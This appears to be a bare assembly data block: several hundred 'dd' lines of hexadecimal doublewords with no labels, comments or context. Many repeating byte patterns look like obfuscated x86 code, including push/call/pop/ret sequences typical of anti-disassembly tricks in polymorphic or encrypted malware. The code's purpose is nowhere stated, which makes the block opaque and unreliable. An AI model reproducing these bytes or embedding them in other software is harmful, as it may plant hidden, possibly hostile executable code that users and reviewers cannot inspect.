		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0E7811219h, 0BC09D47h, 10C195FFh, 6A05E4h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 5CCF0AC3h
		dd 5D6A7A4h, 0F9BF0FDAh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 12F53AEBh, 9A7A811Eh
		dd 27D98D89h, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0D2C4C4C3h, 8398589h, 0E86005E4h
		dd 0Ah,	51458F78h, 0E692C404h, 800F12F3h, 0
		dd 2BA9BD89h, 665B05E4h, 61390EB9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0ECC35040h,	0FC8A098Fh, 0EE93717h
		dd 31000000h, 659FCEECh, 0CB82BFEh, 0D1840DEh, 29BD8B0Fh
		dd 8B05E41Ch, 0E4045DBDh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0EB22C6F4h
		dd 1DBD0BDBh, 8905E423h, 0E42BA995h, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0F98B6034h
		dd 39B58B60h, 0E805E42Ch, 0Bh, 21692195h, 0EB5E57F5h, 5FE96D97h
		dd 268A0F61h, 0E8000000h, 7, 0A9A9FEF3h, 5A5BAA12h, 14E9h
		dd 1FF9FF00h, 0C6C5F8A9h, 3DE431D1h, 213E4135h,	22706DBCh
		dd 59D89E5h, 6105E417h,	0FFF7C8E9h, 31C18BFFh, 0E4108D85h
		dd 0F88B6605h, 104EBh, 8D890000h, 5E40425h, 246BCF81h
		dd 858D2372h, 5E419D5h,	7FBA6660h, 9061FC67h, 95563BBEh
		dd 0F8BE5064h, 90042721h, 2AA5BD89h, 6A05E4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 2FC35545h, 0F1A606Bh
		dd 6AF3B7h, 21898D29h, 858D05E4h, 5E7F9B9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EBC35242h, 0EB14288Bh
		dd 38A0Fh, 8B660000h, 5C083F3h,	2581BD01h, 669005E4h, 6650F08Bh
		dd 909D94BEh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	3AC35747h, 0EEDBE049h, 0CF8153DFh, 5C5F38D4h, 418D095Eh
		dd 6A05E42Ah, 10E900h, 93870000h, 2259E618h, 0C772834h
		dd 7B6012EFh, 8B66BF35h, 0E9006AF9h, 10h, 0BA3BEF2h, 6CCAC8B3h
		dd 780AF2EFh, 0A72B5B7Ah, 21A195FFh, 6A05E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 55FE07C3h
		dd 81667AF1h, 661648CEh, 8337F781h, 9E7F9D8Dh, 8B6605E7h
		dd 0E98D89F9h, 0FF05E426h, 8B0FD3h, 0FF000000h,	0E4142D85h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 85F8E9E4h, 0A7E997FDh, 0E8000008h, 0
		dd 0C3ED815Dh, 6605E7F9h, 6692D781h, 0D05BD81h,	7D005E4h
		dd 860F0000h, 167h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0B8C35646h, 243FAE3h,	4BC9AEBEh, 8BF78B4Fh
		dd 0E41A3D9Dh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0E381EA65h, 100h, 1DC18509h
		dd 0DB0B05E4h, 77850Fh,	81660000h, 831238DFh, 0E7F84DBDh
		dd 840F0005h, 4Bh, 4D50F781h, 9AE9268Dh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0EEDBC351h, 0CA2FBADFh, 14E8D9h, 25390000h, 7F08288Fh
		dd 994CC8Bh, 6C6D0051h,	5359918h, 0BF6676E7h, 0C75E7749h
		dd 0E7F84D85h, 105h, 0C6D9BE00h, 46E94953h, 29000000h
		dd 0E409558Dh, 4D85C705h, 5E7F8h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0F620C356h, 56B0702Bh, 0FE9F9h, 0E8C40000h, 2268C811h
		dd 3A3B77EDh, 553C4225h, 3D9D8DC7h, 6A05E41Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 81E6C353h, 0FFFEFF23h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0D9AD8CCBh
		dd 903F96C9h, 71B58B70h, 6605E403h, 6ADB8Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B70F57C3h
		dd 4C3F6F6h, 60840Fh, 8B660000h, 3995FFF0h, 6A05E411h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 6621C353h, 1800F52h, 0F5000000h, 8B0F50h
		dd 89000000h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 47915C3h, 0B13DC8ACh, 0CF816649h
		dd 2BE9773Ch, 6A000004h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0B676C353h,	0B0938Ah
		dd 0FD5B52Bh, 70E605E4h, 0E4F88B66h, 56006A71h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 9BE4E7D3h
		dd 398D89CAh, 0F05E41Ah, 9D31D8B6h, 5E40415h, 6BAh, 0C5B58900h
		dd 8B05E41Ch, 0E8C1F5C3h, 0F766FC04h, 51006AE2h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 6AD82BC8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0CA19C351h, 1DE2AA83h,	8B6693F9h
		dd 2FBF50FEh, 93314AB7h, 1765BD8Bh, 0B5FF05E4h,	5E40D05h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0CAC35242h
		dd 0C436C7Eh, 95FFC17Bh, 5E410C1h, 0ECDE8166h, 8900B08Ch
		dd 0E4002DB5h, 6A70E605h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0E682C353h,	6AD008E3h
		dd 0E4954A39h, 53006A71h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0BF66999Bh, 613C58FEh
		dd 2DC830Fh, 8B660000h,	0D8B60FFAh, 84C78166h, 6BA0Bh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 2D04A8C3h, 0E917730Fh, 8,	0BF1E8898h, 0ED0E1066h
		dd 31B9B58Bh, 0C38B05E4h, 7A9B58Bh, 0E8C105E4h,	57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8E9D6h, 79EA0000h, 9F4505E3h, 0F7669852h, 50006AE2h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 4A42B345h, 0E5B4D440h, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0D98B9AC3h, 6A58FCh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 15C13BC3h, 9D097501h, 5E41C4Dh, 880FD82Bh, 1EEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 30C35343h, 504C078h
		dd 398761D0h, 6BE35CBEh, 7B911h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD8B53C3h
		dd 5E42A55h, 9CB96660h,	0EF8153F7h, 29E80D7Dh, 0C183615Ah
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0C9145695h, 860FD93Bh, 166h, 2605BD8Bh
		dd 8C6605E4h, 0FFB70FD9h, 0F04C1F6h, 12184h, 10E800h, 0ED8C0000h
		dd 3E4A2831h, 6D2E3F74h, 0E152FE7Ah, 8952F343h,	0E40F55BDh
		dd 0FF5E5E05h, 0E4113995h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2B02ABD2h
		dd 605B0D8Ch, 30D59589h, 61FC05E4h, 7E9h, 48D63000h, 8EB1E864h
		dd 57006A5Bh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0E90CF6DBh, 10h,	0B30DF4D3h, 0E4DCE8Ah
		dd 216A6840h, 0E45C0F30h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0FC06CCC3h, 6CE9C0F3h
		dd 0B6B9F14h, 0E42A4DB5h, 8343D05h, 860F0000h, 5Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 28C35040h, 0E9D18EEEh
		dd 66h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 0D9C35242h, 75968FF3h, 82598655h, 0CE9CFh, 89450000h
		dd 0CA93B992h, 36C690C5h, 0C08B958Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 4AC35242h, 65ED1820h, 7E95DC4h
		dd 63000000h, 0EF649DB6h, 0C38B4C9Ah, 6AD88Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0E0997DC3h, 13E80Bh,	0D1930000h, 0BEA73C94h,	0E339951Eh
		dd 0E1862D45h, 93A978AFh, 4D8589FAh, 5E05E417h,	1E5D1EBEh
		dd 0ED85C709h, 3705E40Fh, 0F131B7Bh, 0C08BFBBFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A4C35343h, 8BF669FCh
		dd 0E40109B5h, 0B9BD0105h, 8105E432h, 0E40D05BDh, 7D005h
		dd 34850F00h, 8B000000h, 0E4118DBDh, 79BD8B05h,	0FF05E41Bh
		dd 0E40D0585h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8166C996h, 0FF66FDDFh
		dd 0E40D05B5h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 2BCFAFCEh, 89E09A5Bh
		dd 0E4082DBDh, 0C195FF05h, 6A05E410h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 78EFC353h
		dd 1FB27A69h, 9023E2E8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0DFC35343h, 0E762B7Ch, 86DBD2Bh, 0BE6605E4h
		dd 6AB5F6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 3B535FC3h, 8F6331D6h, 0EDBD8986h,	8B05E410h
		dd 0E4280DBDh, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 45C03F46h, 0C185896Ch
		dd 8905E413h, 0E4040995h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 9A63143h
		dd 9EBE2763h, 0B58B2EABh, 5E403ADh, 1A35BD89h, 6A05E4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0BC35E6C3h, 0F7199CA1h, 0C880Fh, 7E90000h, 76000000h
		dd 62572957h, 8B66E4F9h, 0C7D781F1h, 291A1C20h,	0E41A45BDh
		dd 0F7B70F05h, 53006AF9h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0E996CACAh, 0FFFFF77Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 2DC35040h
		dd 0E065C12Bh, 20F5B589h, 0C18B05E4h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0AAC35646h,	0E7BD443Fh, 0B58B0F3Eh
		dd 5E423F5h, 0EBFEBF0Fh, 4, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0BC177C3h
		dd 0E42789B5h, 0BD8BFC05h, 5E41FA9h, 19D5858Dh,	6A05E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B975A2C3h, 3D92C5BCh, 50FB8783h, 6A240489h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 3356C350h, 0A9BD8B57h, 6A05E40Ch, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 817BE7F0h
		dd 0B0B3CFE7h, 6A006A06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0B0DEC351h,	0E3CDAA54h
		dd 0CF8166F9h, 858DE109h, 5E80490h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 35C35545h, 0C08374DCh, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0F8B70F81h, 1979BD01h, 8B5005E4h, 240489F8h,	6850Fh
		dd 9D890000h, 5E42639h,	2B59B58Bh, 6A05E4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 5DC35141h, 48C48A61h
		dd 819EF312h, 2448D1E6h, 6A006A63h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0D96DC350h
		dd 1C06EC09h, 8D297425h, 5E41D59h, 3998D31h, 95FF05E4h
		dd 5E421A1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	2BC35545h, 89B93E09h, 0E41F2585h, 7F9D8D05h, 5305E79Eh
		dd 0B5EF28Bh, 0E40829B5h, 23D3FF05h, 0E40275BDh, 2D85FF05h
		dd 6A05E414h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 9D7C353h, 0E42A4DB5h, 810E905h
		dd 0E80000h, 5D000000h,	49AED81h, 0BF0F05E8h, 5BD81F8h
		dd 0D005E40Dh, 0F000007h, 11D86h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 977D0F37h
		dd 872E79BFh, 59B58BFCh, 8B05E408h, 0E42D759Dh,	0EE816605h
		dd 0E381ADE9h, 100h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0FDC35040h, 626FD3D4h, 10E9h,	0F6B5DE00h
		dd 732A6376h, 0A962A740h, 853EBDC5h, 0FDB0BE3h,	4185h
		dd 5958900h, 8305E401h,	0E80294BDh, 840F0005h, 11h, 2579BD03h
		dd 50E905E4h, 81000000h, 7BA531F7h, 9485C701h, 105E802h
		dd 60000000h, 1A198D8Bh, 0E96105E4h, 33h, 26359589h, 85C705E4h
		dd 5E80294h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F0C35343h
		dd 95796477h, 8DFCFF3Ah, 0E42D759Dh, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 4262D6CAh
		dd 0B9BF66E3h, 31858901h, 8105E421h, 0FFFEFF23h, 8C66F5FFh
		dd 50006ADBh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0F1844AEEh, 959D29FBh, 0F605E41Ch, 840F04C3h
		dd 0A5h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 16h,	20C35141h, 0B58BB672h, 5E41BB9h, 113995FFh, 6A05E4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 1835FAC3h, 720825E8h, 0DBD8BEEh, 5005E428h, 8E860h
		dd 5FD0000h, 0FE51BFFFh, 820FE17Fh, 0
		dd 61C38B59h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6977C353h, 3316C32Fh
		dd 6617E597h, 1BCF8166h, 6810FE9h, 89000000h, 0E429E1B5h
		dd 407E905h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 4C1263C3h, 0B0F2B70Fh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 63D6ED1Bh, 0AE9h, 390ADD00h,	0E52BE12Ah, 0E6E82363h
		dd 53006A70h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 10E90Eh,	0C2D70000h, 4AB7CED4h, 0C209B7A3h
		dd 0D52D9A06h, 9531993Fh, 5E410E9h, 16219D89h, 71E405E4h
		dd 2C0D9D89h, 0B58B05E4h, 5E41C11h, 60D8B60Fh, 0FE8h, 6EB24300h
		dd 4F0492A2h, 0A307C978h, 87A2B5A2h, 19F5BD0Bh,	0B5B05E4h
		dd 0E40F959Dh, 6BA6105h, 66000000h, 0E612EF81h,	0FABEC38Bh
		dd 0C14C84E5h, 953104E8h, 5E41B21h, 8BE2F766h, 6AD82BF7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 9858C351h, 93334AA7h, 50F28B66h, 51006A93h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BD892295h, 5E42AD5h, 1FC1B58Bh, 0B5FF05E4h,	5E40D05h
		dd 8BC2A7BEh, 0C195FF32h, 6A05E410h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 554BC350h
		dd 0ECC6163Ch, 6A00B0F5h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0B4F5C356h,	942FA464h
		dd 8BD90862h, 0E40099BDh, 8B70E605h, 0E4230DB5h, 6A71E405h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 71D1C350h, 289C1ACCh, 0F613C8Fh, 24083h
		dd 6820F00h, 8B000000h,	0E400F5B5h, 0D8B60F05h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 49C35747h, 6BAh
		dd 89C38B00h, 0E41A75B5h, 4E8C105h, 6E9F5h, 597E0000h
		dd 0B616AC8Ah, 8BE2F766h, 0E42CA9BDh, 6AD82B05h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0AC8DC352h, 8BEAC323h, 0E41069B5h, 59858905h, 5805E408h
		dd 0FBC78166h, 0FD82B07h, 1B488h, 0F3BF0F00h, 7B9h, 0C5BD0300h
		dd 8305E42Ah, 0D93B00C1h, 19B860Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0D11621C3h
		dd 81664D21h, 662639D6h, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 35E808C3h, 207DAE8Eh
		dd 0F2B70F95h, 2235BD8Bh, 0C1F605E4h, 11840F04h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 9FBBC352h, 30526748h, 0E86448D6h,	0D9CF8166h
		dd 3995FF53h, 6A05E411h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 9105C351h, 0B414336Dh
		dd 0F8680EA5h, 51006A5Bh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 71E2F6D9h, 0EBEA853Fh
		dd 6AC32BA3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0DE28C357h, 8E138B04h,	3275BD33h
		dd 343D05E4h, 0F000008h, 6386h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 6661E140h
		dd 91921112h, 66E970DCh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 8189C352h
		dd 0E78166B3h, 5E81B30h, 0B8000000h, 0D1C04B6Bh, 21D9B58Bh
		dd 665E05E4h, 0D08CDF81h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 6AF582C3h, 0AC61272Ch
		dd 14AE8B7h, 0E42A9D85h, 8BC38B05h, 56006AD8h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD8B2C19h
		dd 5E41B31h, 68D0Fh, 0B5310000h, 5E41999h, 1A3D85C7h, 639905E4h
		dd 6A388Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0E4570BC3h, 3165620Bh, 0E41639B5h, 1C08B05h
		dd 0E42DB195h, 5BD8105h, 0D005E40Dh, 0F000007h,	3785h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0F58B092h, 85FFF2BFh, 5E40D05h, 6810Fh
		dd 9D890000h, 5E40879h,	6C5BBE66h, 0D05B5FFh, 95FF05E4h
		dd 5E410C1h, 3800Fh, 0BF0F0000h, 816690F1h, 8B59E1F6h
		dd 0E407F9BDh, 0F605205h, 80h, 61616000h, 0A5BD335Eh, 0F805E42Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 49C35343h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h
		dd 33D37869h, 137B5622h, 0EE9h,	41E9EF00h, 5200B06Ah, 0F9891A43h
		dd 295E1C31h, 0E414FD95h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 7F33FEBDh
		dd 0A65F28CCh, 860F8D9Fh, 26h, 0FE9h, 33E96100h, 0B62A7C50h
		dd 0AC77C816h, 4FC51EDh, 0DE9h,	0C6331700h, 0E8B32B27h
		dd 0FDEB536h, 0B5896C9Ah, 5E41C29h, 45DBD89h, 0B58B05E4h
		dd 5E40239h, 6AF1BF0Fh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0B813C352h,	8B0F33A4h
		dd 12h,	0DE9h, 50381100h, 0A13CCE0Bh, 859AEE1Ch, 816622C7h
		dd 0E9657CE6h, 0FFFFF7FAh, 5E9h, 46780600h, 66601EBFh
		dd 0B168D881h, 0FFFFFEB9h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 34F6D38Dh
		dd 5B9C1B5Ch, 8D21CBA5h, 5E40895h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0FFC35747h,	0D17FAE60h, 498D8B60h
		dd 0F05E414h, 48Eh, 0CABF6600h,	0D081612Eh, 65AAADEFh
		dd 15258D21h, 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 9E94DC3h, 0D8000000h, 0C09B2ABBh
		dd 3A1A7A01h, 8958D8Bh,	6A05E4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 8B66D8C3h, 1E183F0h
		dd 20850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 180424h, 53430000h, 19A4EEC3h, 8D8BC86Fh, 5E41525h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 95C35343h
		dd 49C8C871h, 0F0DACA66h, 0F01E183h, 2C85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0B15967D5h, 0BD897A2Dh, 5E400F5h, 0CF4074BAh, 6A606159h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 91D7C352h, 0B9C1C1EFh, 0FFFFFFFEh, 24E9B589h
		dd 8D2105E4h, 5E41735h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0FBC35646h, 0B58B2C17h, 5E41CB9h, 10E18D21h
		dd 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0AE1FBC3h
		dd 0F7AE2835h, 8D297A13h, 5E42615h, 17358D8Bh, 6A05E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 922FB2C3h, 7240B8EFh, 1FC18D89h, 0E18305E4h,	21850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0DB00C355h, 79BB1D4Eh,	10E18D8Bh
		dd 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0AE3FF4C3h, 499D899Ch, 5605E410h,	0E18358FCh
		dd 0A850F01h, 0F000000h, 484h, 97BF6600h, 80606199h, 0BD8B8CE3h
		dd 5E41F01h, 0FFFFFEB9h, 0C6BF0FFFh, 14D18D21h,	6A05E4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0D55BECC3h, 8D213ADDh, 5E42D75h, 2B5DBD29h, 8D8B05E4h
		dd 5E414D1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	5EC35040h, 2E2EAEA1h, 0C085DDAEh, 0C1B5894Bh, 8305E423h
		dd 850F01E1h, 5, 0FCEE8166h, 758D8B57h,	3305E42Dh, 0E41C4D9Dh
		dd 62BB6605h, 1E18376h,	6850Fh,	0BB660000h, 0DF8B829Ch
		dd 6A6061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 6B31EEC3h, 8B964EF2h, 0E4096185h,	0FFFEB905h
		dd 8166FFFFh, 214D44DAh, 0E40FED8Dh, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 12A15F0h, 0E4111D8Dh
		dd 2DBD0105h, 2105E422h, 0E41A3D8Dh, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8B795E35h
		dd 0E429B9B5h, 0B5BD8B05h, 8B05E41Bh, 0E40FED8Dh, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 1B45F985h, 9B6B68C7h, 6617B223h, 0E183F78Bh,	21850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 441CC352h, 0B8FB7FB8h,	1A3D8D8Bh
		dd 816605E4h, 832A38F0h, 850F01E1h, 26h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 2EC35343h, 8BAFB16Bh
		dd 0E4087595h, 6061FC05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 87C35747h, 0C02062FCh, 0D8D08166h, 585C7DBh
		dd 0D005E40Dh, 6A000007h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0F01EC355h,	21C9CA3Fh
		dd 56006A61h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 880F761Ch, 1Bh, 0EE960h,	5210000h, 0EABD592Bh
		dd 9D0E8073h, 6C4AC6CCh, 1389BD8Bh, 0F6105E4h, 7EBC0B7h
		dd 0E99D61h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 46D1C356h, 31773376h
		dd 6ADF8B66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0EA89C355h, 3F8A8A07h,	0C18BAFB2h
		dd 9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah, 0D2D41CA4h, 0E45C5Ch
		dd 0F53134CEh, 0B327CE1Bh, 5B34D129h, 0E62AC7DDh, 0DF1BCE17h
		dd 0A6DB6734h, 467A5500h, 0A3EA1A00h, 0D5h, 0C9199C00h
		dd 470000FEh, 0FBFEh, 0E6412800h, 727DD427h, 0D5DE9C3h
		dd 66600000h, 6E9CF8Bh,	9B000000h, 3F5F7721h, 9D8B61A3h
		dd 5E41B55h, 2995BD83h,	0F0005E4h, 4385h, 858D8B00h, 0F05E42Eh
		dd 0B8C9BFh, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0EBA6C355h,	6830Fh
		dd 8D290000h, 5E4327Dh,	0C2CB8B66h, 9D8B0004h, 5E42779h
		dd 0CA8AC08Bh, 12E9h, 88F07100h, 0A81C9B66h, 481C3B41h
		dd 82257AFAh, 83B26FA3h, 0E416A1BDh, 9750005h, 220DBD83h
		dd 740005E4h, 8B535013h, 4D0B8C0h, 9D8D0000h, 5E6A6BFh
		dd 585BD3FFh, 220DBD83h, 740005E4h, 0B8535011h,	4D0h, 0A60C9D8Dh
